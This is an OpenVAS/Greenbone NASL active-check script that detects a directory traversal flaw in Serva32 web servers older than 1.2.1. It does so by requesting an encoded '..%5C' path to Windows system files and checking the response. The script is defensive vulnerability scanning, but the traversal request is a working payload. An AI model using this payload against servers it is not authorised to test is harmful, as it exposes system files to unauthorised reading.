Serva32 < 1.2.1 Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103160");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-05-12 13:24:44 +0200 (Thu, 12 May 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Serva32 < 1.2.1 Multiple Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Serva32/banner");

  script_tag(name:"summary", value:"Serva32 is prone to a directory traversal vulnerability and a
  denial of service (DoS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting these issues will allow attackers to obtain sensitive
  information or cause denial of service conditions.");

  script_tag(name:"affected", value:"Serva32 version 1.2.00 RC1 and probably prior.");

  script_tag(name:"solution", value:"Update to version 1.2.1 or later.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47760");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

banner = http_get_remote_headers(port: port);

if (!banner || banner !~ "Server\s*:\s*Serva32")
  exit(0);

files = traversal_files("windows");

foreach file (keys(files)) {

  url = "/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/" + files[file];

  if (http_vuln_check(port: port, url: url, pattern: file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);